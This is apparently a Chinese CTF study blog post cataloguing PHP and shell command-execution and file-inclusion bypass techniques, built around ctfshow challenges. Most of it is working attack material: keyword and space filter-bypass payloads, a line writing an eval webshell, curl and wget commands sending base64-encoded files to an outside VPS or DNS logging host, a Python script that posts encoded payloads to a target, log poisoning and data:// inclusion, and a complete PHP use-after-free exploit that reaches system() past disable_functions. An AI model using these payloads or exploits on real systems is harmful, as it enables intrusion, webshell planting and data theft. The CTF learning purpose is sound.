前言:

本文用于积累平时做题中遇到的命令执行题目的解法,有许多解题方法都是直接用的各位师傅的wp或总结中的解法,并且遇到了没有记录的方法会随时添加。

因为此部分内容太多,如有写的不好的地方请指正。


文章目录

  • 前言:
  • 一,命令执行
    • 0x01 过滤cat,flag等关键词
    • 0x02 过滤空格
    • 0x03 过滤目录分隔符 /
    • 0x04 过滤分隔符 | & ;
    • 0x05 字符串长度受限
    • 0x06 无回显
    • 0x07 Perl中open命令执行(GET)
    • 0x08 无数字字母getshell
    • 0x09 过滤括号
    • 0x10 无参数RCE
    • 0x11 内敛执行(常用)
    • 0x12 open_basedir绕过
    • 0x13 disable_function绕过
    • 0x14 通配符+绝对路径调用命令
    • 0x15 grep绕过关键词过滤
    • 0x16 使用~$()构造数字
    • 0x17 uaf脚本绕过disable_function
    • 0x18 disable_funcitons全通payload
    • 0x19 利用php内置类rce
    • 0x20 $PATH环境变量绕过
  • 二,文件包含
    • 0x01 php://input(远程包含)
    • 0x02 php://filter
    • 0x03 data://
    • 0x04 zip://,bzip2://,zlib://,phar://
    • 0x05 file伪协议
    • 0x06 固定后缀包含 include($c.".php");
    • 0x07 利用session.upload_progress进行文件包含
    • 0x08 php://filter的过滤器大全
    • 0x09 日志包含
    • 0x10 require+get_defined_vars包含任意文件
  • 三,实战中一些RCE的方法
  • 四,其他大佬总结

一,命令执行


0x01 过滤cat,flag等关键词

1,代替

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261  //报错出文件内容

2,使用转义符

ca\t /fl\ag
cat fl''ag


3,内联执行绕过
拼接flag

1;a=fl;b=ag.php;cat$IFS$a$b

(假设该目录下有index.php和flag.php)
cat `ls`
等同于-->
cat flag.php;cat index.php

4,变量绕过

a=c;b=a;c=t;
$a$b$c 1.txt

5,编码进制绕过

[root~]#  echo 'cat' | base64Y2F0wqAK[root~]#  `echo 'Y2F0wqAK' | base64 -d` 1.txthello world

16进制

8进制

6,过滤文件名绕过(例如过滤/etc/passwd文件)

1) 利用正则匹配绕过[root~]# cat /???/pass*2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过[root~]# cat /etc$u/passwd备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)

7,命令执行函数system()绕过

  • “\x73\x79\x73\x74\x65\x6d”(“cat%20/flag”);

  • (sy.(st).em)(whoami);

  • 使用内敛执行代替system

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

8,使用$*$@$x,${x}

注:因为在没有传参的情况下,上面的特殊变量都是为空的

9,读取文件骚姿势

curl file:///flag
strings /flag
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd

dir与ls的升级版

find -- 列出当前目录下的文件以及子目录所有文件


0x02 过滤空格

  • %09(url传递)(cat%09flag.php)
  • ${IFS}
  • $IFS$9
  • <>(cat<>/flag
  • <(cat</flag
  • {cat,flag}

例;


0x03 过滤目录分隔符 /

例:

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/\//", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

采用多个管道命令即可

;cd flag_is_here;cat *


0x04 过滤分隔符 | & ;

1,可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号

功能 符号 payload
换行符 %0a ?cmd=123%0als
回车符 %0d ?cmd=123%0dls
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道 | ?1=123|pwd
逻辑运算 ||或&& ?1=123&&pwd
;    //分号
|   //只执行后面那条命令
||  //只执行前面那条命令
&   //两条命令都会执行
&&  //两条命令都会执行

2,?>代替;

在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。
例题:ctfshow-web入门36

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}

这道题过滤了分号,直接用?>来代替分号

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

0x05 字符串长度受限

https://www.anquanke.com/post/id/87203

root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/桌面# ls -t >a     #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found

\是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行

0x06 无回显

一,shell_exec等无回显函数。

判断:
ls;sleep(3)

利用:

1,复制,压缩,写shell等方法

copy flag.php 1.txt
mv flag.php flag.txt
cat flag.php > flag.txt
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

然后访问1.txt等对应生成的文件,例:

2、在vps上建立记录脚本

在自己的公网服务器站点根目录写入php文件,内容如下:
record.php

<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

在目标服务器的测试点可以发送下面其中任意一条请求进行测试

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`

3,通过http请求/dns请求等方式带出数据

利用:

curl `命令`.域名

例:

#用<替换读取文件中的空格,且对输出结果base64编码
curl `cat<flag.php|base64`#拼接域名(最终构造结果)
curl `cat<flag.php|base64`.v4utm7.ceye.io
#另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io

更多方法参考:https://blog.csdn.net/qq_43625917/article/details/107873787

4,linux tee命令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

用法:
tee file1 file2 //复制文件
ls /|tee 1.txt //命令输出

二,>/dev/null 2>&1类无回显

例题:ctfshow-web入门42

 <?php
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

>/dev/null 2>&1主要意思是不进行回显的意思
进行命令分隔即可

;    //分号
|   //只执行后面那条命令
||  //只执行前面那条命令
&   //两条命令都会执行
&&  //两条命令都会执行

payload:

 cat flag.php||cat flag.php;

0x07 Perl中open命令执行(GET)

https://blog.csdn.net/qq_44657899/article/details/107720578

0x08 无数字字母getshell

思路:取反 ~,异或 ^,或运算 |

羽大佬的总结:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

一、取反:~

$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=system&___=cat flag.php
$_=~%A0%B8%BA%AB;${$_}[_](${$_}[__]);&_=system&__=dir
$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=eval($_POST['a']);//蚁剑连接

用php生成;

<?php
$code = "_GET";
echo urlencode(~$code);
?>


二、异或:

php(代码用空格隔开):

//Author: 颖奇L'Amore
<?php
$flag = "s y s t e m";
$arr = explode(' ', $flag);foreach ($arr as $key => $value) {echo "%".dechex(ord($value)^0xff);
}
echo "^";
foreach ($arr as $key => $value) {echo "%ff";
}
?>


不可见字符异或(php)

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   for($j=0;$j<255;$j++){$k = chr($j)^chr(255);      \\dechex(255) = ffif($k == $argv[$i]){if($j<16){$l .= "%ff";$r .= "%0" . dechex($j);continue;}$l .= "%ff";$r .= "%" . dechex($j);continue;}}
}
echo "\{$l`$r\}";
?>

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo

用python

#Author: piCEBDC7
str_= 'system'
str_=list(str_)
final=''
for x in str_:print(hex(~ord(x)&0xff))final+=hex(~ord(x)&0xff)
print(str_)
final = final.replace('0x','%')
final+='^'
for x in range(len(str_)):final+=r'%ff'
print(final)


不可见字符异或(python3)

payload="phpinfo"
allowed="ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~!#%*+-/:;<=>?@"# no ()
reth=""
rett=""
for c in payload:flag=Falsefor i in allowed:if flag == False:for j in allowed:if ord(i)^ord(j)==ord(c):#print("i=%s j=%s c=%s"%(i,j,c))reth=reth+"%"+str(hex(ord(i)))[2:]rett=rett+"%"+str(hex(ord(j)))[2:]flag=Truebreak
ret=reth+"^"+rettprint(ret)

三、或运算:

示例:ctfshow-web41

 <?php
if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。

题解:https://wp.ctf.show/d/137-ctfshow-web-web41

脚本:

import re
import requests
import urllib
from sys import *
import os
content = ''
preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/'
for i in range(256):for j in range(256):if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):k = i | jif k>=32 and k<=126:a = '%' + hex(i)[2:].zfill(2)b = '%' + hex(j)[2:].zfill(2)content += (chr(k) + ' '+ a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)
if (len(argv) != 2):print("=" * 50)print('USER:python exp.py <url>')print("eg:  python exp.py http://ctf.show/")print("=" * 50)exit(0)
url = argv[1]def action(arg):s1 = ""s2 = ""for i in arg:f = open("rce_or.txt", "r")while True:t = f.readline()if t == "":breakif t[0] == i:# print(i)s1 += t[2:5]s2 += t[6:9]breakf.close()output = "(\"" + s1 + "\"|\"" + s2 + "\")"return (output)while True:param = action(input("\n[+] your function:")) + action(input("[+] your command:"))data = {'c': urllib.parse.unquote(param)}r = requests.post(url, data=data)print("\n[*] result:\n" + r.text)

使用方法:

python3 exp.py 题目地址

0x09 过滤括号

使用不需要括号的函数

  • echo
echo `cat /flag`
  • require
require '/flag'
include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

2,不需要引号和空格

#<?=require~~flag.txt?>
<?=require~%d0%99%93%9e%98?>

0x10 无参数RCE

更多无参数rce方法:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/


读取目录:

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

注:pos(localeconv())等于.

读取flag文件:

print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
highlight_file(next(array_reverse(scandir(pos(localeconv())))));

0x11 内敛执行(常用)

常用payload:

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

将``或$()内命令的输出作为输入执行

0x12 open_basedir绕过

单独写了一篇文章:Bypass open_basedir

0x13 disable_function绕过

单独写了一篇文章:Bypass disable_function

0x14 通配符+绝对路径调用命令

原理:
因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制。如图:

一些常用工具所在目录:

/bin/cat

/bin/base64 flag.php:base64编码flag.php的内容。

/usr/bin/bzip2 flag.php:将flag.php文件进行压缩,然后再将其下载。

… … 等等

例题:ctfshow-web入门55

<?php// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。

payload1:

/???/????64 ????.???  #/bin/base64 flag.php

payload2:

/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php

然后下载flag.php.bz2

0x15 grep绕过关键词过滤

用法:

grep { flag.php
grep { f???????

打印flag.php中含有{的行。

例题:ctfshow-web入门54

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

过滤了很多关键词,正好grep没有过滤,再用${IFS}代替空格,fla?.php代替flag.php即可绕过。

payload:

grep${IFS}f${IFS}fla?.php

打印flag.php中有f的行

0x16 使用~$()构造数字

例题:ctfshow-web入门57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}

需要传数字36进去,但是过滤了数字。

$(())=0
$((~$(())))=-1

构造过程:

于是payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

0x17 uaf脚本绕过disable_function

例题:ctfshow-web入门72

题目进去就是这样的:
好家伙,题目源码里的函数都禁用了,代码都显示不出来

给了源码文件如下:

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>
你要上天吗?

这道题有严格的disable_function限制和open_basedir限制。

先利用glob://伪协议绕过open_basedir,发现根目录下有flag0.txt

payload:

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

然后用uaf脚本读取flag。

disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行,原理是啥我也很懵。


脚本如下:

最后输入要执行的命令即可。

c=function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
}ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

0x18 disable_funcitons全通payload

该方法使用php类来绕过,可以配置disable_classes来禁用类。

读目录

$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

读文件

try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/var/www/html/index.php")') as $row) {echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();die();
}

注:必须要有PDO拓展,里面的连接数据根据情况进行更改。

该方法来自:https://wp.ctf.show/d/142-ctfshow-web-web90-97

0x19 利用php内置类rce

一, 利用 FilesystemIterator 获取指定目录下的所有文件
例题:ctfshow-web110

 <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){die("error v1");}if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());");
}
?>

payload:

?v1=FilesystemIterator&v2=getcwd


二,使用PHP的反射类ReflectionClass、ReflectionMethod和PHP异常处理 Exception来rce

例题:ctfshow-web109

<?php
highlight_file(__FILE__);
error_reorting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}
?>

payload:

?v1=Exception&v2=system('cat *')
?v1=Reflectionclass&v2=system('cat *')

0x20 $PATH环境变量绕过

第一种,可以使用大写字母数字和{}

可以使用环境变量来绕过,$PATH环境变量截取字母


第二种,可以使用大写字母和{}

我们先来看看ls怎么构造,在上一个方法中,ls为${PATH:5:1}${PATH:11:1},但是数字被过滤了,我们可以用环境变量的长度来代替数字,例如我们最熟悉的$PATH的长度为88

那么找到环境变量长度值为5和11的就可以构造ls了,我们用如下脚本来寻找长度为5和11的环境变量。注:最后grep 5就是找长度为5的变量

for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 5

这里找到了三个,我们随便用一个,比如$TERM环境变量

同理,我找到了SHLVL环境变量的长度为1,LANG的长度为11,成功构造出了l

最后ls构造如下

${PATH:${#TERM}:${#SHLVL}}${PATH:${#LANG}:${#SHLVL}}

成功执行ls命令

但是我这里的环境变量和题目环境的不一样所以执行失败,因为题解的payload为,${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}构造出来是nl,但是我这里为ll

换个环境再试试吧

二,文件包含


0x01 php://input(远程包含)

例题:

题解


0x02 php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter/convert.base64-encode/resource=flflflflag.php

php://filter的各种过滤器


0x03 data://

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

data://text/plain;base64

读php文件源码:

data:text/plain,<?php system('cat /flag');?>

或者命令执行:

data:text/plain,<?php system('whoami');?>

0x04 zip://,bzip2://,zlib://,phar://

这些没怎么用到过,记得可以用在文件上传上面,把shell压缩到zip中,如果file参数可控,可以通过该协议访问压缩包中文件。

payload如下:

index.php?file=phar://uploads/ok.zip/ok.php

这道题也可以用到这个协议

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}
?file=compress.zlib://flag.php

0x05 file伪协议

?url=file:///var/www/html/flag.php

0x06 固定后缀包含 include($c.“.php”);

例题:ctfshow-web39

payload1:使用data协议

c=data:text/plain,<?php system('cat *');?>

0x07 利用session.upload_progress进行文件包含

单独写了一篇博客:利用session.upload_progress进行文件包含

0x08 php://filter的过滤器大全

php://filter的各种过滤器

0x09 日志包含

以ctfshow中一题为例:

先读取日志文件,发现可以读取

file=/var/log/nginx/access.log

然后尝试让日志包含一句话。(看日志里记录了什么信息,然后更改对应信息来写入)

接下来抓包修改UA中的内容

0x10 require+get_defined_vars包含任意文件

原理:通过get_defined_vars() 数组获取到这个伪协议放到 require() 里包含

index.php

<?php echo get_defined_vars()[_GET][rce];echo "<br>";require(get_defined_vars()[_GET][rce]);
?>

然后传参rce值php://filter/convert.base64-encode/resource=flag.php

http://127.0.0.1/?rce=php://filter/convert.base64-encode/resource=flag.php

三,实战中一些RCE的方法

这篇文章感觉思路很全,可以参考一下

RCE宝典公开,全民RCE的时代到来

四,其他大佬总结

万一有没记录到的方法看看其他大佬的

https://xz.aliyun.com/t/8107

RCE(命令执行)总结相关推荐

  1. 漏洞复现-Wordpress 4.6 PwnScriptum RCE命令执行

    Wordpress 4.6 PwnScriptum RCE命令执行 目标介绍 漏洞来源 影响版本 CVE-2016-10033 Vulhub靶场搭建 复现过程 利用条件&问题注意点 解决办法 ...

  2. 漏洞复现-electron RCE命令执行CVE-2018-1000006

    electron RCE命令执行 漏洞介绍 影响范围 漏洞复现 POC 分析 分析环境 原理浅析 攻击场景和完整的利用思路: 修复建议 漏洞介绍 Electron是由Github开发, 用HTML,C ...

  3. Apache Log4j2 RCE 命令执行漏洞预警及修复方案

    漏洞名称:Apache Log4j2远程代码执行漏洞 组件名称:Apache Log4j2 截止2021年12⽉10⽇,受影响的Apache log4j2版本: 2.0≤Apache Log4j< ...

  4. CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总

    七字符rce 源码 <?php highlight_file(__FILE__); if(strlen($_GET[1]<7)){echo strlen($_GET[1]);echo '& ...

  5. Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)

    今天 Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)的问题代码,如图: 随即在国内安全圈炸开了锅,大家纷纷转发一张图: 上次因为核弹级漏洞 log4j2 的 POC 公开,大批企业为 ...

  6. pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)(皮卡丘漏洞平台通关系列)

    目录 一.官方介绍 二.诚意推荐 三.悠闲通关 第1关 exec "ping" 第2关 exec "eval" 一.官方介绍 本节引用内容来源pikachu漏洞 ...

  7. WEB漏洞—RCE 代码及命令执行漏洞

    什么是RCE? 指的是远程命令/代码执行(remote command/code execute) 在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应 ...

  8. RCE代码及命令执行漏洞简解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...

  9. 命令执行(RCE)漏洞

    RCE简介 RCE(remote command/code execute):远程命令/代码执行. 命令执行漏洞: 直接调用操作系统命令. 代码执行漏洞: 靠执行脚本代码调用操作系统命令. 原因:在W ...

  10. 30.WEB漏洞-RCE代码及命令执行漏洞

    30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...

最新文章

  1. Redhat 中裸设备(raw) 的配置和oracle中使用
  2. Java为什么会有默认的背景色_java – 为什么我的背景颜色不会在JFrame中...
  3. 【Flutter】Dart 面向对象 ( 命名构造方法 | 工厂构造方法 | 命名工厂构造方法 )
  4. 【控制】《多智能体系统一致性协同演化控制理论与技术》纪良浩老师-第4章-具有随机扰动的多智能体系统脉冲一致性
  5. 中文论文万能句型_SCI 论文写作万能句型(每天一点小进步哦)
  6. mysql作hive元数据库
  7. 流行学习简单入门与理解
  8. js多层对象数组 合并_13个你必须知道的JS数组技巧
  9. 2013年c语言课后作业答案,2013年计算机二级C语言课后模拟题三及答案
  10. leetcode111. 二叉树的最小深度
  11. 网站图片下载 Python
  12. Bootstrap 插件的选项
  13. windows03系统安装08sql数据库
  14. python自动化办公教程百度云-用Python自动办公,做职场高手,16章完整版百度云盘...
  15. 修图必备:Photosho 2022 for Mac
  16. IntelliJ IDEA安装lombok
  17. CVPR 2021 Oral | 妙啊!不怕遮挡的图像线段匹配 SOLD2,还能联合自监督线段检测
  18. 你为什么要离开上一家公司?
  19. 促销方式脑图(转载图灵学院)
  20. 2023西湖论剑wirteup

热门文章

  1. 如何把pdf分割成多个?怎么把pdf文件分成多个?
  2. 微博营销普遍遇到的误区
  3. 如何自己搭建一个网盘
  4. 《嵌入式系统原理与应用》 | 嵌入式系统 重点知识梳理
  5. Uncode、ASCII、UTF-8之前的转换函数
  6. 移动终于又重新放出了8元套餐
  7. 一次 svchost.exe 进程占用大量网络带宽的排查
  8. Python利用百度地图抓取商家地址
  9. 作品交流:锁相环环路滤波器系数、NCO增益单位、鉴相器输出之间的关系
  10. 【蓝桥杯单片机笔记6】PWM脉宽调制信号